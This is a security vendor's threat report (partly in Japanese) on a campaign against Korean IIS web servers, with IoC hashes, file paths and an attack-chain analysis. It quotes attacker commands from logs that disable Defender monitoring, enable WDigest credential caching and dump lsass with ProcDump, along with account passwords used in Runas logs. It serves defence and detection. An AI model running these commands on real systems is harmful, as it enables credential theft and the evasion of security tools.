Exploit/Win.JuicyPotato.R495502 (2022.06.03.01) – Exploit/Win.PetitPotato.C5418234 (2023.04.26.00) – Exploit/Win.PetitPotato.C5418237 (2023.04.26.00) – Exploit/Win.PetitPotato.R575177 (2023.04.26.00) – Exploit/Win.PetitPotato.R588349 (2023.06.23.03) – Exploit/Win.Potato.C5444398 (2023.07.29.00) – Exploit/Win.PrintNotifyPotato.C5418245 (2023.04.26.00) – Exploit/Win.PrintNotifyPotato.R561362 (2023.03.10.00) – Exploit/Win.PrintSpoofer.C5404637 (2023.04.04.00) – Exploit/Win.PrintSpoofer.C5445168 (2023.06.23.03) – Exploit/Win.PrintSpoofer.R346208 (2020.07.29.04) – Exploit/Win.PrintSpoofer.R358767 (2020.12.18.06) – Exploit/Win.PrintSpoofer.R456477 (2021.12.07.00) – Exploit/Win.SharpEfsPotato.C5418239 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418240 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418242 (2023.04.26.00) – Exploit/Win.SharpEfsPotato.C5418243 (2023.04.26.00) – Exploit/Win.SweetPotato.C5405993 (2023.04.06.02) – Exploit/Win.SweetPotato.C5418244 (2023.04.26.00) – HackTool/PowerShell.Ladon.SC187629 (2023.04.04.00) – HackTool/Win.Ladon.R442618 (2021.09.25.00) – HackTool/Win.Netcat.C5283500 (2022.10.18.03) – HackTool/Win.RunAs.C4406737 (2021.04.07.03) – HackTool/Win.RunAs.C5404638 (2023.04.04.00) – HackTool/Win.RunAs.C5417759 (2023.04.25.01) – HackTool/Win.RunAs.C5418233 (2023.04.26.00) – HackTool/Win.RunAs.C5445161 (2023.06.23.03) – Malware/Win.Generic.C4432989 (2021.04.22.01) – Trojan/BIN.Generic (2023.07.28.03) – Trojan/CMD.Agent.SC191319 (2023.07.28.03) – Trojan/Win.Agent.C5418231 (2023.04.26.00) – Trojan/Win.Agent.C5418232 (2023.04.26.00) – Trojan/Win.Escalation.R524707 (2022.10.04.02) – Trojan/Win.Generic.C4491018 (2021.05.26.01) – Trojan/Win.Generic.C5228587 (2022.08.27.01) – Trojan/Win.Generic.R529888 (2022.10.15.04) – Trojan/Win.Mimikatz.R563718 (2023.03.16.02) – Trojan/Win.MSILMamut.C5410538 (2023.04.13.01) – Trojan/Win.PrintSpoofer.R597367 (2023.08.12.03) – Trojan/Win.UserClone.C5192153 (2022.07.04.02) – Trojan/Win32.HDC.C111465 (2011.10.19.00) – Trojan/Win32.Mimikatz.R271640 (2019.05.21.05) – Unwanted/Win32.NTSniff_v110 (2005.03.08.00) – WebShell/ASP.Agent.SC191320 (2023.07.28.03) – WebShell/ASP.Generic (2023.01.27.03) – WebShell/ASP.Generic.S1855 (2022.06.22.03) ビヘイビア検知 – Malware/MDP.SystemManipulation.M1471 – Execution/MDP.Powershell.M2514 – CredentialAccess/MDP.Mimikatz.M4367 IOC MD5 WebShell – 612585fa3ada349a02bc97d4c60de784 : D:\***Root_DB\1.aspx – eb1c6004afd91d328c190cd30f32a3d1 : D:\**trust\www\photo_upload..1.aspx, D:\**trust\www\photo_upload\1(0).aspx, E:\****Hotel\upload\thanks\test.asp, C:\***Pay15\source\source.asp Potato (BadPotato) – 9fe61c9538f2df492dff1aab0f90579f : %SystemRoot%\debug\wia\badpotatonet2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet2.exe, %ALLUSERSPROFILE%\BadPotatoNet2.exe – ab9091f25a5ad44bef898588764f1990 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\BadPotatoNet4.exe Potato (EfsPotato) – 9dc87e21769fb2b4a616a60a9aeecb03 : E:\app\Administrator\product\EfsPotato2.0.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\EfsPotato2.0.exe Potato (GodPotato) – 5f3dd0514c98bab7172a4ccb2f7a152d : C:\Oracle\GodPotato-NET2.exe – c7c0e7877388f18a771ec54d18ac56e6 : E:\app\g.exe Potato (JuicyPotato) – 2331a96db7c7a3700eb1da4c730e8119 : %SystemRoot%\debug\WIA\jpms.log – 8e228104d545608e4d77178381324a0b : %SystemRoot%\debug\wia\juicypotatomsmsmsmsms.exe Potato (JuicyPotatoNG) – 7756312d5da2cfb6a4212214b65b0d9a : %ALLUSERSPROFILE%\microsoft\devicesync\createfiber.log – 15aa2aea896511500027c5b970454c10 : %ALLUSERSPROFILE%\usoshared\etwpcreateetwthread1.gif – 72eee0b89c707968fb41083f47739acf : %ALLUSERSPROFILE%\microsoft\devicesync\juicypotatong_ms.exe, %ALLUSERSPROFILE%\USOShared\jpng.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms.exe, C:\Windows\debug\WIA\JuicyPotatoNG_ms.exe – f530974b0cf773dc2efdff66c2b57e7f : %SystemDrive%\quarantine_mz\registries\1.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG_ms_ok.exe – 19c5eb467633efb48ceb49db2870de72 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, C:\Windows\debug\WIA\JuicyPotato_x64.exe – 0ea582880c53419c8b1a803e19b8ab1f : %ALLUSERSPROFILE%\Microsoft\DeviceSync\EtwpCreateEtwThread.log, %ALLUSERSPROFILE%\USOShared\EtwpCreateEtwThread.log – 8017f161b637cb707e3e667252c2235d : %ALLUSERSPROFILE%\USOShared\j.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\JuicyPotatoNG.exe, %SystemRoot%\debug\WIA\JuicyPotatoNG.exe Potato (PetitPotato) – 659d5c63ae9a1a3c5a33badc53007808 : %SystemDrive%\quarantine_mz\sd2.gif – 9dc62c3a97269f780eb54ebcd43c77a8 : %ALLUSERSPROFILE%\microsoft\devicesync\test.gif – bffe140d2e2a7f44cbe3e3bf9b50f3b5 : %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – d66dfce79df451f797775335fac67e9d : %ALLUSERSPROFILE%\microsoft\devicesync\3.exe – 435351d097dcc253e48b89575a40427c : E:\****check_ASP_N\123.doc – 66379480d44ad92c07f6b5a9dfb3df3d : E:\****check_ASP_N\test.gif – 4875e5a46aec782f7e4cfb2028e6426a : E:\****check_ASP_N\p.gif Potato (PrintNotifyPotato) – fad4ea01a92d0ede3f75d13b1a96238b : %ALLUSERSPROFILE%\PrinterNotifyPotato.exe – 7600f8875fb23a6057354c3426b1db79 : %ALLUSERSPROFILE%\ahnlab\ais\p.log, %ALLUSERSPROFILE%\USOShared\p.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintNotifyPotato2.0.vmp.exe – 98154aeaec8aba3c376c7c76e11a2828 : %ALLUSERSPROFILE%\USOShared\pp.exe Potato (SharpEfsPotato) – 661126f645c5eb261b0651744a17e14b : %ALLUSERSPROFILE%\microsoft\devicesync\20230404.log, %ALLUSERSPROFILE%\ahnlab\ais\v3.log – 63294f453901077fcb62eeb5c84e53d1 : %ALLUSERSPROFILE%\ahnlab\ais\sep_vmp.sln – 69bde490dc173dbed98b2decacd586c4 : %ALLUSERSPROFILE%\ahnlab\ais\result.log – e8e00a5771cafa4fb9294fea549282de : E:\****check_ASP_N\NtQueueApcThreadEx.log – 227df13221db37ab9673ae1af4e6278a : E:\****check_ASP_N\HeapAlloc.jpg, %ALLUSERSPROFILE%\USOShared\h.gif – c9dc55872982efcadba4ce197ba34fbd : E:\****check_ASP_N\pp.gif Potato (SweetPotato) – 021924959a870354cc6c9a54fe7dcf83 : C:\Quarantine_MZ\123.gif, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\SweetPotato_4.7.2_original.exe – bcb6dbd50b323ea9a6d8161a7e48f429 : E:\****check_ASP_N\EtwpCreateEtwThread.jpg – a7db0665564b2519ef5eef6627c716db : %ALLUSERSPROFILE%\USOShared\Logs\vmp1.log PrintSpoofer – 7e9125c89d7868f17813ed8c1af2e2c1 : %ALLUSERSPROFILE%\USOShared\PrintSpoofer928.exe, %ALLUSERSPROFILE%\microsoft\devicesync\printspoofer911.exe, %SystemRoot%\debug\wia\printspoofer928.exe, %ALLUSERSPROFILE%\usoshared\logs\vmp2.log, C:\Windows\debug\WIA\p.log – 96b3b2ccb2687a9e2a98ac87a788dda8 : %SystemRoot%\debug\WIA\PrintSpoofer.exe – 108da75de148145b8f056ec0827f1665 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer64.exe – 2a74db17b50025d13a63d947d8a8f828 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer32.exe – a9b21218f4d98f313a4195a388e3bfbb : C:\Windows\debug\WIA\PrintSpoofer928.exe, C:\Windows\debug\WIA\12.zxz, C:\Windows\debug\WIA\928.exe, %ALLUSERSPROFILE%\AhnLab\AIS\2.log, %ALLUSERSPROFILE%\USOShared\Logs\vmp2.log, %ALLUSERSPROFILE%\USOShared\2.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\PrintSpoofer928.exe, E:\****check_ASP_N\p.log COMahawk (CVE-2019-1405, CVE-2019-1322) – 6a60f718e1ecadd0e26893daa31c7120 : %SystemRoot%\debug\WIA\COMahawk64.exe CVE-2020-0787 – d72412473d31ec655ea88833fe596902 : %SystemRoot%\debug\wia\cve-2020-0787-x64.exe IIS LPE (by k8gege) – 347742caff6fb0f8c397c0a772e29f3f : %SystemRoot%\debug\WIA\716.logs Persistence – aa3a20597084944fdcbe1c3894fd7ab5 : WebShell (SCF1.dat) – bff58f5b6e3229d11b6ffe5b5ea952b5 : Config (SCFConfig.dat) – 9cea04db9defe9e4f723c39a0ca76fb3 : Scheduled Batch (winrmr.cmd) 権限コピーマルウェア – 95a0ea8e58195d1de2e66ca70ab05fe5 : %SystemDrive%\quarantine_mz\guest.exe – 47ea1e6b805ba9c3f26a39035b3d35a0 : %SystemDrive%\quarantine_mz\folders\guestreg.exe User Clone – 0d341f48a589ef7d42283c0aa2575479 : %ALLUSERSPROFILE%\AhnLab\AIS\1.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone912.exe, %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone.exe, C:\Windows\debug\WIA\UserClone.exe – 5fd57ab455c62373e2151f7b46b183d2 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone9111.exe – 29ad1b38046f5af2fb715c21741e6878 : %ALLUSERSPROFILE%\Microsoft\DeviceSync\UserClone911.exe, C:\Windows\debug\WIA\UserClone911.exe Mimikatz – 3c051e76ba3f940293038a166763a190 : E:\****Hotel\mimikatz.exe, E:\****Hotel\m.gif, C:\Oracle\product\m.exe – e387640e3f911b6b41aa669131fa55d4 : C:\Oracle\product\mz64_ms_all.log, %ALLUSERSPROFILE%\Microsoft\DeviceSync\mz64_ms_all.log – 7353af8af2d7ce6c64018d9618161772 : C:\***\****lus\mz64_ms_all.exe, C:\Windows\debug\WIA\mz64_ms_all.exe RunasCs – 4d04fa35ed26b113bb13db90a7255352 : E:\****Hotel\app\runascs_net2.exe – 09ab2d87eb4d3d8ea752cbe6add18fd2 : E:\****Hotel\app\Runas.exe – 80f5d6191c8cc41864488e2d33962194 : C:\***pay50\sample\sample.html, C:\**Update\bin\Upddater.dll, C:\Windows\debug\WIA\dllhost.exe, C:\***das\FreeLibs\AspUpload\Clash.exe, C:\***\****lus\bin\kcp.dll, C:\***Pay40\source\Clash.exe, C\Windows\debug\WIA\wiatrace.log Sy_Runas – 5a163a737e027dbaf60093714c3a021f : e:\app\sy_runas_.exe, %SystemRoot%\system32\spool\drivers\color\d35.camp, %ALLUSERSPROFILE%\microsoft\devicesync\1.exe – a49d10b6406a1d77a65aa0e0b05154c3 : %ALLUSERSPROFILE%\oracle\java\java.txt, %SystemRoot%\debug\wia\wiatrace.log, C:\Windows\debug\WIA\Sy_Runas.exe – c7c00875da50df78c8c0efc5bedeaa87 : E:\****Hotel\app\sy_runasnew.exe, %ALLUSERSPROFILE%\usoshared\logs\user\notifyicon.000.etl, e:\win64_*****_client\client\stage\services.exe, e:\win64_*****_client\client\stage\setup.exe, e:\****hotel\app\s.exe, e:\****hotel\app\app.asp – e77093c71dc26d0771164cdaa9740e49 : C:\Windows\debug\WIA\wiatrace.log NetCat – 5584853a1191ad601f1c86b461c171a7 : %SystemRoot%\debug\wia\nc1.exe, %SystemDrive%\oracle\product\nc1.exe – e2b4163992da996ca063d329206a0309 : %SystemRoot%\debug\wia\nc.exe – 523613a7b9dfa398cbd5ebd2dd0f4f38 : E:\****check_ASP_N\nc64.exe Ladon (by k8gege) – 2b399abe28dbe11ca928032bea30444a : %SystemRoot%\debug\WIA\Ladon911.exe – 734c96f4def9de44aa6629df285654d9 : %SystemRoot%\debug\WIA\Ladon.exe – 47d59e43e1485feb98ff9c84fc37dc3b : PowerLadon (メモリ) 関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認することができる。
ASEC Analysis of APT Attack Cases Targeting Web Services of Korean Corporations 2023-08-22
Web servers are vulnerable to attacks because they are publicly accessible to a wide range of users for the purpose of delivering web services. This accessibility makes them a prime target for threat actors. AhnLab Security Emergency response Center (ASEC) is monitoring attacks targeting vulnerable web servers that have not been patched or are poorly managed. In this post, we have compiled APT attack cases where the web servers of Korean corporations were continuously targeted over the years. We have also provided the indicators of compromise (IoC) of the various malware and tools used in these attacks. The threat actor commonly uses an account named “tripod” on most of the compromised systems, and this serves as one of the identifying characteristics of this threat actor. Figure 1. User account “tripod” that has been identified in most infected systems 1. Overview Among the web servers that provide web services on Windows servers, prominent examples include the Internet Information Services (IIS) web server, Apache Tomcat web server, JBoss, and Nginx. When these web servers have vulnerabilities that are not patched or are poorly managed, they continuously become the target of attack by various threat actors. ASEC has previously shared a case involving vulnerable Apache Tomcat web servers [1] and another case where JBoss-based PACS (Picture Archiving and Communication System) servers were attacked, resulting in the installation of Metasploit Meterpreter. [2] Among the Korean corporations using Windows servers, there is a notable prevalence of IIS web servers. Consequently, attacks targeting IIS servers have been frequently identified. Even in the past attack case of Dalbit, a threat group based in China, [3] and the case where a Chinese hacker group stole information from Korean corporations, [4] IIS web servers were the targets of attacks in both cases. Besides these, there is also the case where the Kimsuky threat group [5] attacked IIS web servers, and the case where the Lazarus threat group used IIS web servers as their malware distribution servers after infecting systems. [6] The threat actor identified in this instance also targeted Windows IIS web servers. These attacks have been observed since 2019 at the earliest. Additionally, the Korea Internet & Security Agency (KISA) published a report in 2021 on the topic of “Cases of Infiltration Involving the Insertion of Abnormal Advertisements and Response Measures”. [7] According to the above report, the threat actor targeted specific company websites to illicitly insert an advertisement code. They exploited a file upload vulnerability in neglected forums on the web server to install a web shell. Subsequently, they established an infrastructure for ad insertion and exposed visitors to the advertisements. To evade detection, the threat actor would meticulously switch to the page inserted with the ad code during specific times, such as in the evening or when the server’s administrator had logged off. They would then switch it back to the normal page during the mornings or when the administrator logged on to the server. ASEC has confirmed that the threat actor has been continuously targeting Korean corporations since at least 2019 up to the present time. The Korean corporations with confirmed attack cases include hotels, telecommunications equipment manufacturers, online shopping malls, and international manufacturing companies, etc. Although identifying this specific threat actor remains challenging due to the use of commonly known malware and tools, certain tools used in the attacks have been identified as being in Chinese, leading to the assumption that the threat actor is at least familiar with the Chinese language. Furthermore, in the cases presented in the KISA report, the threat actor’s ultimate goal appeared to be inserting advertisements into legitimate web services. However, in the cases identified by ASEC, no files or logs related to advertisements were found. Instead, actions such as the deletion of Volume Shadow Copies were observed. This suggests that the threat actor may have different objectives like installing ransomware on infected systems. 2. Analysis of Threat Actor Vulnerable systems fall prey to a variety of threat actors. Especially in the case of IIS web servers or MS-SQL servers, there is a trend of multiple threat actors targeting the same systems persistently. Therefore, there is a limit to extracting the behavior of specific threat actors from the various malware and attack logs. In this post, attacks based on the unique characteristics of this threat actor have been organized from the malware and attack logs, compiling a brief overview of the attacks that took place over a short period. However, it is important to note that at the same point in time, another threat actor could have executed a similar attack. This means that the malware and attack logs of different threat actors could potentially be mixed together. 2.1. Commonalities Among the Attack Cases Commonly, attack cases targeting IIS web servers involve the presence of common malware such as web shells, Potato, privilege escalation vulnerability PoC, and Ladon. While these tools are often associated with threat actors who use the Chinese language, they are publicly available online, making it challenging to attribute the attacks solely based on the files. However, there are cases where the threat actor packed malware with VMP to bypass file detection or developed custom malware for their attacks. These are the unique characteristics of this threat actor, so the attack cases were classified based on this information. Additionally, the threat actor also created their malware under the following directories. %ALLUSERSPROFILE%\Microsoft\DeviceSync\ %SystemRoot%\debug\WIA\ Furthermore, the tool Sy_Runas is employed in the attacks. Sy_Runas is a tool used to execute commands with the privileges of a specific user through a web shell. Currently, Sy_Runas is not commonly used in attacks. However, when used, it is often created with the following file name. %SystemRoot%\debug\WIA\wiatrace.log Figure 2. Sy_Runas Furthermore, the web server of a specific Korean company is being used as a malware download server. The threat actor attacked this company to upload their malware, and they are presumed to be subsequently downloaded and utilized when targeting other companies. It is worth noting that this address was also employed as a Command and Control (C&C) server for NetCat to maintain control. The most significant aspect of this will be covered in the “5. Maintain Persistence” section, but to cover it briefly, the presence of malware that additionally installs web shells to maintain persistence has been identified. Consequently, the infected systems have commands registered in their task scheduler to execute the batch file. After taking over a system, the threat actor either steals and uses the Administrator’s account credentials, or they assign Administrator privileges to a Guest account using the UserClone technique. However, given the prevalence of the username “tripod” across various systems, it is suspected that the threat actor creates and utilizes the “tripod” account. 2.2. Chinese Tools Used in Attacks Many of the tools used in the attack are already publicly available, and even the files presumed to be created by the threat actor lack additional information like a PDB. However, a relation to Chinese-speaking environments was found in the tools and the custom malware that the threat actor used in their attacks. In the process of maintaining persistence, the threat actor installs web shells using WinRAR. In some cases, the regular English version of WinRAR was used, but in attacks identified in 2019, instances of the Chinese version of WinRAR were found to be used. Figure 3. Chinese version of WinRAR.exe There is a case where the threat actor created and used programs during their attack process for testing purposes. The test programs are in the form of WinRAR SFX executables. Some files simply create an empty file named “test.txt” in the same directory. Others go beyond this by including a command that executes a “sd2.bat” file located in a specific directory in addition to creating the empty file named “test” in the same directory. Additionally, this path is used in the attack process, and if a batch file exists in this path, it could act as a Launcher to execute the file. > “C:\Windows\System32\cmd.exe” /c C:\WINDOWS\System32\spool\drivers\color\sd2.bat Figure 4. WinRAR SFX executable assumed to be for testing purposes The above WinRAR SFX executable was created in Chinese, and upon inspecting the resource section of the executable, Chinese version-specific WinRAR strings can be observed. Figure 5. Chinese version of WinRAR SFX executable 3. Initial Infiltration According to the KISA report, the threat actor exploited a file upload vulnerability on the affected corporation’s website to upload a web shell as an attachment. It is believed that the threat actor used the first uploaded web shell to additionally upload a second web shell (1.asp) to a different path than the initial upload path. The diagnostic log of AhnLab Smart Defense (ASD) shows a similar file name to the one mentioned in the KISA report, “1.aspx”. Web Shell Path D:\***Root_DB\1.aspx D:\**trust\www\photo_upload..1.aspx D:\**trust\www\photo_upload\1(0).aspx E:\****Hotel\upload\thanks\test.asp C:\***Pay15\source\source.asp Table 1. Path names of the detected web shells Afterward, it is said that the threat actor used the secondary web shell to generate various malware such as the privilege escalation tool Potato, UserClone, and Mimikatz. A record can be observed on actual AhnLab ASD logs of various malware being uploaded after the web shell. The following are types of web shells that have been collected among those identified in the attack processes. It is worth noting that in actual attacks, there are likely to be many more types beyond the ones listed below. Figure 6. Web shells suspected to have been used in attacks 4. Privilege Escalation 4.1. Potatos The Potato malware family consists of malware designed for privilege escalation, with various types such as JuicyPotato, RottenPotato, and SweetPotato existing based on different privilege escalation methods. Even if threat actors gain control over infected systems through web shells or dictionary attacks, they may not be able to perform their desired malicious actions due to the lack of appropriate privileges within the w3wp.exe process. This also applies to the sqlservr.exe process of the MS-SQL server. To address this issue, threat actors tend to use privilege escalation malware in conjunction with their attack process. Especially in attacks targeting IIS web servers or MS-SQL database servers, Potato privilege escalation malware are commonly used. Potato leverages certain processes with elevated privileges to escalate permissions, allowing the threat actor to perform malicious actions with the elevated privileges. The threat actor has utilized various types of Potato privilege escalation tools in their attacks, including BadPotato, EfsPotato, GodPotato, JuicyPotato, JuicyPotatoNG, PetitPotato, PrintNotifyPotato, SharpEfsPotato, SweetPotato, etc. Recently, the threat actor has been observed uploading malware to the web server of a specific Korean company and then downloading and using these malware in the attack process against other systems. It appears that the threat actor is utilizing compromised systems as malware distribution servers. Figure 7. Log showing Potato malware being installed with web shell Among the Potato malware used in the attacks, there are files that have been known for several years as well as files that the threat actor has packed using VMProtect. Recently, Potato malware that has been packed using the “go-shellcode” packing tool, which is available on GitHub, are being used in attacks. [8] “go-shellcode” is developed in GoLang and serves as a tool to execute shellcode using various techniques like the ones shown below. Figure 8. go-shellcode packer Recently, threat actors have shown a tendency to pack malware using the GoLang to evade file-based detection. “go-shellcode” is a tool that encrypts and holds the malware designated by the threat actor before decrypting and executing it in the memory. The left side of the following image depicts the routine of executing shellcode using the EtwpCreateEtwThread() function in “go-shellcode”, while the right side demonstrates the routine of executing shellcode using the CreateFiber() function. The threat actor packed the Potato malware using the codes in “go-shellcode”. Figure 9. Packed Potato malware The threat actor used the Potato malware family to execute various commands. Logs also reveal that a command was used to bypass detection by Windows Defender. e:\win64_*****_client\client\stage\cmd.exe /c cd /d c:\quarantine_mz\& etwpcreateetwthread1.gif -t * -p c:\windows\system32\cmd.exe -a “/c powershell set-mppreference -disablerealtimemonitoring $true” -l 1500& echo [s]&cd&echo+[e] 4.2. Other Privilege Escalation Malware While the threat actor has predominantly used the Potato malware family for privilege escalation, there have been instances where other tools like PrintSpoofer or vulnerability PoC malware were also identified. Particularly, PrintSpoofer malware are prevalent across most compromised systems, suggesting that the threat actor often employs PrintSpoofer alongside the Potato malware family for privilege escalation purposes. Figure 10. PrintSpoofer privilege escalation tool In addition to the above, various tools such as COMahawk (CVE-2019-1405, CVE-2019-1322) [9] , CVE-2020-0787 [10] , and IIS LPE (by k8gege) [11] are also being used in the attacks. 5. Maintain Persistence 5.1. Installation of Additional Web Shells According to the report from KISA, the threat actor registered tasks named “CredentialTask” and “CertificateTask” to display an unauthorized advertisement page on the company’s website during the time when the administrator was off work. The registered tasks execute a batch file, which installs a web shell and registers the advertisement page. The unauthorized advertisement switches the website’s source code with a script containing the inserted advertisement code at specific time periods, and then reverts it back to the original state. In the case of the system currently being investigated, the batch file executed by the Task Scheduler is named “winrmr.cmd”, which reads the configuration file “SCFConfig.dat” to perform malicious behaviors. Additionally, it is presumed that the unauthorized advertisement display feature was not enabled by the threat actor on this system. This is indicated by the fact that the configuration file only contains the first line responsible for the web shell, while other lines related to the inserted advertisement on web page are absent. Furthermore, the compressed file “winrnr.cmd” specified in the configuration file only has the web shell file, and the files related to the web pages with inserted advertisements are not present. SCF1.dat|”D:\***demo\www\cscenter\ajaxNoticefaq.asp”|AA3A20597084944FDCBE1C3894FD7AB5 Figure 11. Configuration file containing the settings related to ad inserted page – Source: KISA report The batch file calculates the MD5 hash of the web shell “SCF1.dat” stored within the compressed file “winrnr.cmd”. It then compares this hash with the value present in the third field of the configuration file for verification. If the hash values match, the web shell is copied to the path specified in the second field, and permissions are configured. Figure 12. Routine to set the permission of the copied web shell Through this process, a web shell is periodically installed on the system, and the threat actor can use it to control the infected system. The web shell is inserted at the bottom of the annotation to appear like a normal script. Figure 13. Web shell created in a new path Web Shell Installation Path C:\Webservice\****do\board\notice\board_write.asp C:\WebService\****do\products\inquiry\board_view.asp d:\*****cokr\www\member\login.asp d:\*****shop\www\product\product.asp d:\style\www\assets\fontawesome\font\font.asp d:\*****bie\www\about\index.asp d:\*****allen\www\customer_service\notice.asp D:\***demo\www\cscenter\ajaxNoticefaq.asp E:\****Hotel\include\check8.asp E:\****no\www\iprice\iprice.asp Table 2. Installation path of web shells to maintain persistence 5.2. Privilege Copying Malware The threat actor granted administrator privileges to a Guest account using a privilege copying malware. This was accomplished by copying the F value of the SAM key stored in the registry. The F value of the SAM key contains information including the RID. By changing the Guest account’s RID value to that of the Administrator’s account, the threat actor can use the Guest account to perform malicious behaviors with administrator privileges. Figure 14. Privilege copying tool 5.3. UserClone UserClone is a tool that provides functionality to create accounts in the Administrator group or copy the permissions of a specific account to another account. When the /Clone option is used, the privilege of the account given as the second argument is copied to the account given as the first argument. This is the same as the privilege copying malware mentioned above. The KISA report also contains details of a case where UserClone was used by the threat actor to change the privilege of a Guest account to that of an Administrator account. Figure 15. UserClone tool 6. Collecting Credentials 6.1. Mimikatz / ProcDump Afterward, the threat actor installed Mimikatz to collect credential information present in the currently infected system. While the threat actor employs methods like directly creating Administrator accounts or utilizing the UserClone tool to escalate privileges, seeing that there is evidence in the logs of the threat actor leveraging the Administrator account during the attack process, this suggests that they are also using the stolen accounts. Mimikatz is a tool that supports credential extraction features in Windows environments. It can not only extract plaintext passwords and hash information stored in Windows systems, but it also supports lateral movement attacks using the obtained credentials. As a result, by gaining control over corporate internal networks, it is frequently employed as a means to seize information or install ransomware. Additionally, in recent Windows environments, the extraction of plaintext passwords using the WDigest security package is not possible by default. Instead, the UseLogonCredential registry key must be configured to acquire it. Accordingly, the attacker executed the following command to add the UseLogonCredential registry key. > reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f Typically, Mimikatz reads and decrypts the memory of the currently running lsass.exe process to obtain credential information. However, if a memory dump file exists, it can be provided as an argument to retrieve credential information. Recently, threat actors have been using legitimate software such as Sysinternals’ ProcDump to evade detection by security products. In cases where malware like Mimikatz cannot directly access the lsass.exe process memory, threat actors instead utilize the ProcDump tool to create a memory dump file and then read and decrypt it using Mimikatz. Considering the presence of the following commands to dump the memory of the lsass.exe process using ProcDump, it is suspected that the threat actor also used Mimikatz in this way. Path Name Argument E:\****Hotel\faq\f.asp -accepteula -ma lsass.exe e:\****hotel\faq\lsass.dmp %ALLUSERSPROFILE%\microsoft\devicesync\procdump64.exe -accepteula -ma lsass c:\programdata\microsoft\devicesync\lsass.dmp Table 3. Credential theft using ProcDump 6.2. Runas Malware The Runas malware family is responsible for receiving the account credentials of a specific user as an argument to execute commands with that account’s privileges. Such malware includes RunasCs and Sy_Runas, both of which are being used by the threat actor in their attacks. While there is a higher presence of Sy_Runas in the logs, RunasCs, which is developed in .NET, is also frequently identified across many systems. Figure 16. RunasCs tool When the threat actor executes commands using a web shell, they employ privilege escalation tools like Potato or Runas malware. In the case of using Runas, they leverage the credentials obtained through Mimikatz from previously collected accounts, or utilize the escalated privileges of a Guest account through UserClone. Additionally, it is presumed that they also use accounts that they had directly added. Although such a variety of accounts are used in the attack process, the most prominent account is “tripod”. This account is a noticeable commonality across most infected systems and is assumed to have been manually added by the threat actor. Path Name Argument %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “whoami” %ALLUSERSPROFILE%\oracle\java\java.txt tripod “c!!l)0w101” “query user” %SystemRoot%\debug\wia\wiatrace.log tripod c!!l!0w111 “query user” %SystemRoot%\debug\wia\wiatrace.log tripod ww28win “whoami” %SystemRoot%\debug\wia\wiatrace.log tripod “c)!l(4w096” “query user” %SystemDrive%***pay50\sample\popup_img\bg1.gif tripod “c)!l!2w011” “query user” Table 4. Command logs of Sy_Runas being used to check “tripod” account privilege 7. Remote Control 7.1. NetCat The threat actor used web shells to create and execute additional malware. Aside from these, they also installed NetCat and used it as a reverse shell. The IP format C&C address utilized in these attacks coincides with the download address that was mentioned above. Essentially, it is identical to the address of the company that had previously fallen victim to the malware breach. Figure 17. NetCat execution log 7.2. Ladon In addition, the threat actor utilized the open-source hacking tool Ladon during their attack process. [12] Ladon, which can be further explored through its GitHub page, is one of the tools primarily employed by Chinese-speaking threat actors. [13] Due to its capability to support a variety of essential features during the attack process, Ladon enables threat actors to carry out a range of malicious behaviors, including scanning, privilege escalation, and exfiltration of account credentials, after gaining control of the targeted system. Figure 18. Ladon GitHub page Besides the executable format Ladon, the PowerShell format PowerLadon was also used in the attacks. [14] The threat actor employed a PowerShell command to retrieve PowerLadon from the website of a previously breached Korean company. Following this, they utilized the badpotato command to verify if privilege escalation was successful. Figure 19. PowerLadon installation command 8. Post Attack According to the report from KISA, the threat actor registered tasks named “CredentialTask” and “CertificateTask” to display an unauthorized advertisement page on the company’s website during the time when the administrator was off work. Up to at least the year 2021, it is suspected that the primary objective of the threat actor was to generate revenue through the exposure of their advertisement pages. This notion is supported by the ASD logs that also show these tasks being registered to the task scheduler and executed in the infected systems. Figure 20. CertificateTask registered to the scheduler However, in the system discussed in the “5. Maintain Persistence” section, there are instances where a feature to switch to an advertisement web page is not included and only a web shell is installed. Furthermore, logs have been found on certain systems showing that the threat actor used Sy_Runas to delete volume shadow copies in infected systems. Figure 21. Command log of volume shadow copy being deleted This suggests that while the threat actor’s initial objective was profit through unauthorized ad exposure, recent developments also open up the possibility of other motives such as ransomware attacks. 9. Conclusion Recently, APT attacks targeting the web servers of Korean corporations continue to be detected. The threat actor has initiated these attacks since at least 2019, primarily aiming to insert ads into corporate websites. However, recent examination of attack logs suggests the potential addition of different objectives, such as ransomware installation. The threat actor attacked poorly managed or unpatched web servers to install web shells. According to the report from KISA, the upload of web shells is mainly suspected to occur through file upload vulnerabilities. Subsequently, a series of actions, including privilege escalation, maintenance of persistence, and credentials extraction, are taken to gain control over the infected systems. Administrators should proactively check for file upload vulnerabilities on their web servers to prevent the upload of web shells as this is the initial penetration vector. Passwords must also be periodically changed and the implementation of access controls are also crucial to counter lateral movement attacks leveraging stolen account credentials. Also, V3 should be updated to the latest version so that malware infection can be prevented. File Detection – Dropper/Win32.Agent.C106924 (2011.10.12.00) – Exploit/Win.Agent.C5224192 (2022.08.17.01) – Exploit/Win.Agent.C5404633 (2023.04.04.00) – Exploit/Win.Agent.C5404635 (2023.04.04.00) – 